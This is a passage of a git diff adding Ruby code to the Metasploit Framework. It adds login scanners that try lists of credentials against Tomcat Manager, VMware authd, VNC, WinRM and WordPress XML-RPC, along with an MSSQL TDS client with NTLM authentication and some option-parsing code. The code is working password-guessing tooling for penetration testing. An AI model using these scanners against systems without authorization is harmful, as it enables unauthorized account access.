mixin + create_login_ivars + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/tomcat.rb b/lib/metasploit/framework/login_scanner/tomcat.rb new file mode 100644 index 0000000000..c773af7058 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/tomcat.rb @@ -0,0 +1,28 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Tomcat Manager login scanner + class Tomcat < HTTP + + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = true + DEFAULT_PORT = 8180 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/manager/html" if self.uri.nil? + self.method = "GET" if self.method.nil? + + super + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/vmauthd.rb b/lib/metasploit/framework/login_scanner/vmauthd.rb new file mode 100644 index 0000000000..e3bc61d8c6 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/vmauthd.rb @@ -0,0 +1,112 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with vmware-auth. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class VMAUTHD + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 902 + LIKELY_PORTS = [ DEFAULT_PORT, 903, 912 ] + LIKELY_SERVICE_NAMES = [ 'vmauthd', 'vmware-auth' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + service_name: 'vmauthd', + protocol: 'tcp' + } + + disconnect if self.sock + + begin + connect + select([sock], nil, nil, 0.4) + + # Check to see if we received an OK? + result_options[:proof] = sock.get_once + if result_options[:proof] && result_options[:proof][/^220 VMware Authentication Daemon Version.*/] + # Switch to SSL if required + swap_sock_plain_to_ssl(sock) if result_options[:proof] && result_options[:proof][/SSL/] + + # If we received an OK we should send the USER + sock.put("USER #{credential.public}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^331.*/] + # If we got an OK after the username we can send the PASS + sock.put("PASS #{credential.private}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^230.*/] + # if the pass gives an OK, we're good to go + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + disconnect if self.sock + + Result.new(result_options) + end + + private + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + def swap_sock_plain_to_ssl(nsock=self.sock) + ctx = generate_ssl_context + ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) + + ssl.connect + + nsock.extend(Rex::Socket::SslTcp) + nsock.sslsock = ssl + nsock.sslctx = ctx + end + + def generate_ssl_context + ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) + @@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){} + + ctx.key = @@cached_rsa_key + + ctx.session_id_context = Rex::Text.rand_text(16) + + ctx + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/vnc.rb b/lib/metasploit/framework/login_scanner/vnc.rb new file mode 100644 index 0000000000..61f6069116 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/vnc.rb @@ -0,0 +1,129 @@ +require 'metasploit/framework/tcp/client' +require 'rex/proto/rfb' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with the VNC RFB protocol. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class VNC + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + + # + # CONSTANTS + # + + LIKELY_PORTS = (5900..5910).to_a + LIKELY_SERVICE_NAMES = [ 'vnc' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # Error indicating retry should occur for UltraVNC + ULTRA_VNC_RETRY_ERROR = 'connection has been rejected' + # Error indicating retry should occur for VNC 4 Server + VNC4_SERVER_RETRY_ERROR = 'Too many security failures' + # Known retry errors for all supported versions of VNC + RETRY_ERRORS = [ + ULTRA_VNC_RETRY_ERROR, + VNC4_SERVER_RETRY_ERROR + ] + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'vnc' + } + + credential.public = nil + + begin + # Make our initial socket to the target + disconnect if self.sock + connect + + # Create our VNC client overtop of the socket + vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) + + if vnc.handshake + if vnc_auth(vnc,credential.private) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options.merge!( + proof: vnc.error, + status: Metasploit::Model::Login::Status::INCORRECT + ) + end + else + result_options.merge!( + proof: vnc.error, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + rescue ::EOFError, Errno::ENOTCONN, Rex::ConnectionError, ::Timeout::Error => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + ensure + disconnect + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # Check the VNC error to see if we should wait and retry. + # + # @param error [String] The VNC error message received + # @return [false] don't retry + # @return [true] retry + def retry?(error) + RETRY_ERRORS.include?(error) + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= 5900 + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + # This method attempts the actual VNC authentication. It has built in retries to handle + # delays built into the VNC RFB authentication. + # @param client [Rex::Proto::RFB::Client] The VNC client object to authenticate through + # @param password [String] the password to attempt the authentication with + def vnc_auth(client,password) + success = false + 5.times do |n| + if client.authenticate(password) + success = true + break + end + break unless retry?(client.error) + + # Wait for an increasing ammount of time before retrying + delay = (2**(n+1)) + 1 + ::Rex.sleep(delay) + end + success + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/winrm.rb b/lib/metasploit/framework/login_scanner/winrm.rb new file mode 100644 index 0000000000..af079b262e --- /dev/null +++ b/lib/metasploit/framework/login_scanner/winrm.rb @@ -0,0 +1,52 @@ + +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Windows Remote Management login scanner + class WinRM < HTTP + + # The default port where WinRM listens. This is what you get on + # v1.1+ with `winrm quickconfig`. Note that before v1.1, the + # default was 80 + DEFAULT_PORT = 5985 + + # The default realm is WORKSTATION which tells Windows authentication + # that it is a Local Account. + DEFAULT_REALM = 'WORKSTATION' + + # The default port where WinRM listens when SSL is enabled. Note + # that before v1.1, the default was 443 + DEFAULT_SSL_PORT = 5986 + + PRIVATE_TYPES = [ :password ] + LIKELY_PORTS = [ 80, 443, 5985, 5986 ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + # Inherit LIKELY_SERVICE_NAMES, since a scanner will see it as + # just HTTP. + + validates :method, inclusion: { in: ["POST"] } + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/wsman" if self.uri.nil? + @method = "POST".freeze + + super + end + + # The method *must* be "POST", so don't let the user change it + # @raise [RuntimeError] Unconditionally + def method=(_) + raise RuntimeError, "Method must be POST for WinRM" + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb new file mode 100644 index 0000000000..9166545e99 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -0,0 +1,80 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Wordpress XML RPC login scanner + class WordpressRPC < HTTP + + # (see Base#attempt_login) + def attempt_login(credential) + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version, proxies + ) + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + begin + http_client.connect + + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method, + 'data' => generate_xml_request(credential.public,credential.private), + ) + response = http_client.send_recv(request) + + if response && response.code == 200 && response.body =~ /<value><int>401<\/int><\/value>/ || response.body =~ /<name>user_id<\/name>/ + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + elsif response.body =~ /<value><int>-32601<\/int><\/value>/ + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + + end + + # This method generates the XML data for the RPC login request + # @param user [String] the username to authenticate with + # @param pass [String] the password to authenticate with + # @return [String] the generated XML body for the request + def generate_xml_request(user, pass) + xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" + xml << '<methodCall>' + xml << '<methodName>wp.getUsers</methodName>' + xml << '<params><param><value>1</value></param>' + xml << "<param><value>#{user}</value></param>" + xml << "<param><value>#{pass}</value></param>" + xml << '</params>' + xml << '</methodCall>' + xml + end + + # (see Base#set_sane_defaults) + def set_sane_defaults + @method = "POST".freeze + super + end + + end + end + end +end + + diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb new file mode 100644 index 0000000000..9db3cc34fc --- /dev/null +++ b/lib/metasploit/framework/mssql/client.rb @@ -0,0 +1,729 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module MSSQL + + module Client + extend ActiveSupport::Concern + include Metasploit::Framework::Tcp::Client + + NTLM_CRYPT = Rex::Proto::NTLM::Crypt + NTLM_CONST = Rex::Proto::NTLM::Constants + NTLM_UTILS = Rex::Proto::NTLM::Utils + NTLM_XCEPT = Rex::Proto::NTLM::Exceptions + + # Encryption + ENCRYPT_OFF = 0x00 #Encryption is available but off. + ENCRYPT_ON = 0x01 #Encryption is available and on. + ENCRYPT_NOT_SUP = 0x02 #Encryption is not available. + ENCRYPT_REQ = 0x03 #Encryption is required. + + # Packet Type + TYPE_SQL_BATCH = 1 # (Client) SQL command + TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) + TYPE_RPC = 3 # (Client) RPC + TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, + # Request Completion, Error and Info Messages, Attention Acknowledgement + TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention + TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data + TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager + TYPE_TDS7_LOGIN = 16 # (Client) Login + TYPE_SSPI_MESSAGE = 17 # (Client) Login + TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 + + # Status + STATUS_NORMAL = 0x00 + STATUS_END_OF_MESSAGE = 0x01 + STATUS_IGNORE_EVENT = 0x02 + STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ + STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ + + # + # This method connects to the server over TCP and attempts + # to authenticate with the supplied username and password + # The global socket is used and left connected after auth + # + def mssql_login(user='sa', pass='', db='', domain_name='') + + disconnect if self.sock + connect + + # Send a prelogin packet and check that encryption is not enabled + if mssql_prelogin() != ENCRYPT_NOT_SUP + print_error("Encryption is not supported") + return false + end + + if windows_authentication + idx = 0 + pkt = '' + pkt_hdr = '' + pkt_hdr = [ + TYPE_TDS7_LOGIN, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID (unused upon specification + # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) + 0x00 #Window + ] + + pkt << [ + 0x00000000, # Size + 0x71000001, # TDS Version + 0x00000000, # Dummy Size + 0x00000007, # Version + rand(1024+1), # PID + 0x00000000, # ConnectionID + 0xe0, # Option Flags 1 + 0x83, # Option Flags 2 + 0x00, # SQL Type Flags + 0x00, # Reserved Flags + 0x00000000, # Time Zone + 0x00000000 # Collation + ].pack('VVVVVVCCCCVV') + + cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name + sname = Rex::Text.to_unicode( rhost ) + dname = Rex::Text.to_unicode( db ) + + ntlm_options = { + :signing => false, + :usentlm2_session => use_ntlm2_session, + :use_ntlmv2 => use_ntlmv2, + :send_lm => send_lm, + :send_ntlm => send_ntlm + } + + ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + + ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags) + + idx = pkt.size + 50 # lengths below + + pkt << [idx, cname.length / 2].pack('vv') + idx += cname.length + + pkt << [0, 0].pack('vv') # User length offset must be 0 + pkt << [0, 0].pack('vv') # Password length offset must be 0 + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, sname.length / 2].pack('vv') + idx += sname.length + + pkt << [0, 0].pack('vv') # unused + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, 0].pack('vv') # locales + + pkt << [idx, 0].pack('vv') #db + + # ClientID (should be mac address) + pkt << Rex::Text.rand_text(6) + + # NTLMSSP + pkt << [idx, ntlmsspblob.length].pack('vv') + idx += ntlmsspblob.length + + pkt << [idx, 0].pack('vv') # AtchDBFile + + pkt << cname + pkt << aname + pkt << sname + pkt << aname + pkt << ntlmsspblob + + # Total packet length + pkt[0,4] = [pkt.length].pack('V') + + pkt_hdr[2] = pkt.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + pkt + + # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) + # has a strange behavior that differs from the specifications + # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header + # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification + resp = mssql_send_recv(pkt,15, false) + + # Get default data + begin + blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp) + # a domain.length < 3 will hit this + rescue NTLM_XCEPT::NTLMMissingChallenge + return false + end + + challenge_key = blob_data[:challenge_key] + server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error + #netbios name + default_name = blob_data[:default_name] || '' + #netbios domain + default_domain = blob_data[:default_domain] || '' + #dns name + dns_host_name = blob_data[:dns_host_name] || '' + #dns domain + dns_domain_name = blob_data[:dns_domain_name] || '' + #Client time + chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' + + spnopt = {:use_spn => send_spn, :name => rhost} + + resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key, + domain_name, default_name, default_domain, + dns_host_name, dns_domain_name, chall_MsvAvTimestamp, + spnopt, ntlm_options) + + ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags) + + # Create an SSPIMessage + idx = 0 + pkt = '' + pkt_hdr = '' + pkt_hdr = [ + TYPE_SSPI_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID + 0x00 #Window + ] + + pkt_hdr[2] = ntlmssp.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + ntlmssp + + resp = mssql_send_recv(pkt) + + + #SQL Server Authentification + else + idx = 0 + pkt = '' + pkt << [ + 0x00000000, # Dummy size + + 0x71000001, # TDS Version + 0x00000000, # Size + 0x00000007, # Version + rand(1024+1), # PID + 0x00000000, # ConnectionID + 0xe0, # Option Flags 1 + 0x03, # Option Flags 2 + 0x00, # SQL Type Flags + 0x00, # Reserved Flags + 0x00000000, # Time Zone + 0x00000000 # Collation + ].pack('VVVVVVCCCCVV') + + + cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + uname = Rex::Text.to_unicode( user ) + pname = mssql_tds_encrypt( pass ) + aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + sname = Rex::Text.to_unicode( rhost ) + dname = Rex::Text.to_unicode( db ) + + idx = pkt.size + 50 # lengths below + + pkt << [idx, cname.length / 2].pack('vv') + idx += cname.length + + pkt << [idx, uname.length / 2].pack('vv') + idx += uname.length + + pkt << [idx, pname.length / 2].pack('vv') + idx += pname.length + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, sname.length / 2].pack('vv') + idx += sname.length + + pkt << [0, 0].pack('vv') + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, 0].pack('vv') + + pkt << [idx, dname.length / 2].pack('vv') + idx += dname.length + + # The total length has to be embedded twice more here + pkt << [ + 0, + 0, + 0x12345678, + 0x12345678 + ].pack('vVVV') + + pkt << cname + pkt << uname + pkt << pname + pkt << aname + pkt << sname + pkt << aname + pkt << dname + + # Total packet length + pkt[0,4] = [pkt.length].pack('V') + + # Embedded packet lengths + pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 + + # Packet header and total length including header + pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt + + resp = mssql_send_recv(pkt) + + end + + info = {:errors => []} + info = mssql_parse_reply(resp,info) + + return false if not info + info[:login_ack] ? true : false + end + + # + # Parse an "environment change" TDS token + # + def mssql_parse_env(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + type = buff.slice!(0,1).unpack('C')[0] + + nval = '' + nlen = buff.slice!(0,1).unpack('C')[0] || 0 + nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 + + oval = '' + olen = buff.slice!(0,1).unpack('C')[0] || 0 + oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 + + info[:envs] ||= [] + info[:envs] << { :type => type, :old => oval, :new => nval } + info + end + + # + # Parse a "ret" TDS token + # + def mssql_parse_ret(data, info) + ret = data.slice!(0,4).unpack('N')[0] + info[:ret] = ret + info + end + + # + # Parse a "done" TDS token + # + def mssql_parse_done(data, info) + status,cmd,rows = data.slice!(0,8).unpack('vvV') + info[:done] = { :status => status, :cmd => cmd, :rows => rows } + info + end + + # + # Parse an "error" TDS token + # + def mssql_parse_error(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + + errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') + emsg = buff.slice!(0,elen * 2) + emsg.gsub!("\x00", '') + + info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" + info + end + + # + # Parse an "information" TDS token + # + def mssql_parse_info(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + + errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') + emsg = buff.slice!(0,elen * 2) + emsg.gsub!("\x00", '') + + info[:infos]||= [] + info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" + info + end + + # + # Parse a "login ack" TDS token + # + def mssql_parse_login_ack(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + info[:login_ack] = true + end + + # + # Parse individual tokens from a TDS reply + # + def mssql_parse_reply(data, info) + info[:errors] = [] + return if not data + until data.empty? + token = data.slice!(0,1).unpack('C')[0] + case token + when 0x81 + mssql_parse_tds_reply(data, info) + when 0xd1 + mssql_parse_tds_row(data, info) + when 0xe3 + mssql_parse_env(data, info) + when 0x79 + mssql_parse_ret(data, info) + when 0xfd, 0xfe, 0xff + mssql_parse_done(data, info) + when 0xad + mssql_parse_login_ack(data, info) + when 0xab + mssql_parse_info(data, info) + when 0xaa + mssql_parse_error(data, info) + when nil + break + else + info[:errors] << "unsupported token: #{token}" + end + end + info + end + + # + # Parse a raw TDS reply from the server + # + def mssql_parse_tds_reply(data, info) + info[:errors] ||= [] + info[:colinfos] ||= [] + info[:colnames] ||= [] + + # Parse out the columns + cols = data.slice!(0,2).unpack('v')[0] + 0.upto(cols-1) do |col_idx| + col = {} + info[:colinfos][col_idx] = col + + col[:utype] = data.slice!(0,2).unpack('v')[0] + col[:flags] = data.slice!(0,2).unpack('v')[0] + col[:type] = data.slice!(0,1).unpack('C')[0] + + case col[:type] + when 48 + col[:id] = :tinyint + + when 52 + col[:id] = :smallint + + when 56 + col[:id] = :rawint + + when 61 + col[:id] = :datetime + + when 34 + col[:id] = :image + col[:max_size] = data.slice!(0,4).unpack('V')[0] + col[:value_length] = data.slice!(0,2).unpack('v')[0] + col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') + + when 36 + col[:id] = :string + + when 38 + col[:id] = :int + col[:int_size] = data.slice!(0,1).unpack('C')[0] + + when 127 + col[:id] = :bigint + + when 165 + col[:id] = :hex + col[:max_size] = data.slice!(0,2).unpack('v')[0] + + when 173 + col[:id] = :hex # binary(2) + col[:max_size] = data.slice!(0,2).unpack('v')[0] + + when 231,175,167,239 + col[:id] = :string + col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:codepage] = data.slice!(0,2).unpack('v')[0] + col[:cflags] = data.slice!(0,2).unpack('v')[0] + col[:charset_id] = data.slice!(0,1).unpack('C')[0] + + else + col[:id] = :unknown + end + + col[:msg_len] = data.slice!(0,1).unpack('C')[0] + + if(col[:msg_len] and col[:msg_len] > 0) + col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') + end + info[:colnames] << (col[:name] || 'NULL') + end + end + + # + # Parse a single row of a TDS reply + # + def mssql_parse_tds_row(data, info) + info[:rows] ||= [] + row = [] + + info[:colinfos].each do |col| + + if(data.length == 0) + row << "<EMPTY>" + next + end + + case col[:id] + when :hex + str = "" + len = data.slice!(0,2).unpack('v')[0] + if(len > 0 and len < 65535) + str << data.slice!(0,len) + end + row << str.unpack("H*")[0] + + when :string + str = "" + len = data.slice!(0,2).unpack('v')[0] + if(len > 0 and len < 65535) + str << data.slice!(0,len) + end + row << str.gsub("\x00", '') + + when :datetime + row << data.slice!(0,8).unpack("H*")[0] + + when :rawint + row << data.slice!(0,4).unpack('V')[0] + + when :bigint + row << data.slice!(0,8).unpack("H*")[0] + + when :smallint + row << data.slice!(0, 2).unpack("v")[0] + + when :smallint3 + row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0] + + when :tinyint + row << data.slice!(0, 1).unpack("C")[0] + + when :image + str = '' + len = data.slice!(0,1).unpack('C')[0] + str = data.slice!(0,len) if (len and len > 0) + row << str.unpack("H*")[0] + + when :int + len = data.slice!(0, 1).unpack("C")[0] + raw = data.slice!(0, len) if (len and len > 0) + + case len + when 0,255 + row << '' + when 1 + row << raw.unpack("C")[0] + when 2 + row << raw.unpack('v')[0] + when 4 + row << raw.unpack('V')[0] + when 5 + row << raw.unpack('V')[0] # XXX: missing high byte + when 8 + row << raw.unpack('VV')[0] # XXX: missing high dword + else + info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" + end + else + info[:errors] << "unknown column type: #{col.inspect}" + end + end + + info[:rows] << row + info + end + + # + #this method send a prelogin packet and check if encryption is off + # + def mssql_prelogin(enc_error=false) + + pkt = "" + pkt_hdr = "" + pkt_data_token = "" + pkt_data = "" + + + pkt_hdr = [ + TYPE_PRE_LOGIN_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x00, # PacketID + 0x00 #Window + ] + + version = [0x55010008,0x0000].pack("Vv") + encryption = ENCRYPT_NOT_SUP # off + instoptdata = "MSSQLServer\0" + + threadid = "\0\0" + Rex::Text.rand_text(2) + + idx = 21 # size of pkt_data_token + pkt_data_token << [ + 0x00, # Token 0 type Version + idx , # VersionOffset + version.length, # VersionLength + + 0x01, # Token 1 type Encryption + idx = idx + version.length, # EncryptionOffset + 0x01, # EncryptionLength + + 0x02, # Token 2 type InstOpt + idx = idx + 1, # InstOptOffset + instoptdata.length, # InstOptLength + + 0x03, # Token 3 type Threadid + idx + instoptdata.length, # ThreadIdOffset + 0x04, # ThreadIdLength + + 0xFF + ].pack("CnnCnnCnnCnnC") + + pkt_data << pkt_data_token + pkt_data << version + pkt_data << encryption + pkt_data << instoptdata + pkt_data << threadid + + pkt_hdr[2] = pkt_data.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + pkt_data + + resp = mssql_send_recv(pkt) + + idx = 0 + + while resp and resp[0,1] != "\xff" and resp.length > 5 + token = resp.slice!(0,5) + token = token.unpack("Cnn") + idx -= 5 + if token[0] == 0x01 + + idx += token[1] + break + end + end + if idx > 0 + encryption_mode = resp[idx,1].unpack("C")[0] + else + #force to ENCRYPT_NOT_SUP and hope for the best + encryption_mode = ENCRYPT_NOT_SUP + end + + if encryption_mode != ENCRYPT_NOT_SUP and enc_error + raise RuntimeError,"Encryption is not supported" + end + encryption_mode + end + + # + # Send and receive using TDS + # + def mssql_send_recv(req, timeout=15, check_status = true) + sock.put(req) + + # Read the 8 byte header to get the length and status + # Read the length to get the data + # If the status is 0, read another header and more data + + done = false + resp = "" + + while(not done) + head = sock.get_once(8, timeout) + if !(head and head.length == 8) + return false + end + + # Is this the last buffer? + if(head[1,1] == "\x01" or not check_status ) + done = true + end + + # Grab this block's length + rlen = head[2,2].unpack('n')[0] - 8 + + while(rlen > 0) + buff = sock.get_once(rlen, timeout) + return if not buff + resp << buff + rlen -= buff.length + end + end + + resp + end + + # + # Encrypt a password according to the TDS protocol (encode) + # + def mssql_tds_encrypt(pass) + # Convert to unicode, swap 4 bits both ways, xor with 0xa5 + Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") + end + + protected + + def windows_authentication + raise NotImplementedError + end + + def use_ntlm2_session + raise NotImplementedError + end + + def use_ntlmv2 + raise NotImplementedError + end + + def send_lm + raise NotImplementedError + end + + def send_ntlm + raise NotImplementedError + end + + def send_spn + raise NotImplementedError + end + + end + + end + end +end diff --git a/lib/metasploit/framework/parsed_options.rb b/lib/metasploit/framework/parsed_options.rb new file mode 100644 index 0000000000..4a5727fc0f --- /dev/null +++ b/lib/metasploit/framework/parsed_options.rb @@ -0,0 +1,27 @@ +# +# Gems +# + +require 'active_support/dependencies/autoload' + +# @note Must use the nested declaration of the +# {Metasploit::Framework::ParsedOptions} namespace because commands, which +# use parsed options, need to be able to be required directly without any +# other part of metasploit-framework besides config/boot so that the +# commands can parse arguments, setup RAILS_ENV, and load +# config/application.rb correctly. +module Metasploit + module Framework + # Namespace for parsed options for {Metasploit::Framework::Command + # commands}. The names of `Class`es in this namespace correspond to the + # name of the `Class` in the {Metasploit::Framework::Command} namespace + # for which this namespace's `Class` parses options. + module ParsedOptions + extend ActiveSupport::Autoload + + autoload :Base + autoload :Console + end + end +end + diff --git a/lib/metasploit/framework/parsed_options/base.rb b/lib/metasploit/framework/parsed_options/base.rb new file mode 100644 index 0000000000..4ccfceeb29 --- /dev/null +++ b/lib/metasploit/framework/parsed_options/base.rb @@ -0,0 +1,185 @@ +# +# Standard Library +# + +require 'optparse' + +# +# Gems +# + +require 'active_support/ordered_options' + +# +# Project +# + +require 'metasploit/framework/database' +require 'metasploit/framework/parsed_options' + +# Options parsed from the command line that can be used to change the +# `Metasploit::Framework::Application.config` and `Rails.env` +class Metasploit::Framework::ParsedOptions::Base + # + # CONSTANTS + # + + # msfconsole boots in production mode instead of the normal rails default of + # development. + DEFAULT_ENVIRONMENT = 'production' + + # + # Attributes + # + + attr_reader :positional + + # + # Instance Methods + # + + def initialize(arguments=ARGV) + @positional = option_parser.parse(arguments) + end + + # Translates {#options} to the `application`'s config + # + # @param application [Rails::Application] + # @return [void] + def configure(application) + application.config['config/database'] = options.database.config + end + + # Sets the `RAILS_ENV` environment variable. + # + # 1. If the -E/--environment option is given, then its value is used. + # 2. The default value, 'production', is used. + # + # @return [void] + def environment! + if defined?(Rails) && Rails.instance_variable_defined?(:@_env) && Rails.env != options.environment + raise "#{self.class}##{__method__} called too late to set RAILS_ENV: Rails.env already memoized" + end + + ENV['RAILS_ENV'] = options.environment + end + + # Options parsed from + # + # @return [ActiveSupport::OrderedOptions] + def options + unless @options + options = ActiveSupport::OrderedOptions.new + + options.database = ActiveSupport::OrderedOptions.new + + options.database.config = Metasploit::Framework::Database.configurations_pathname.try(:to_path) + options.database.disable = 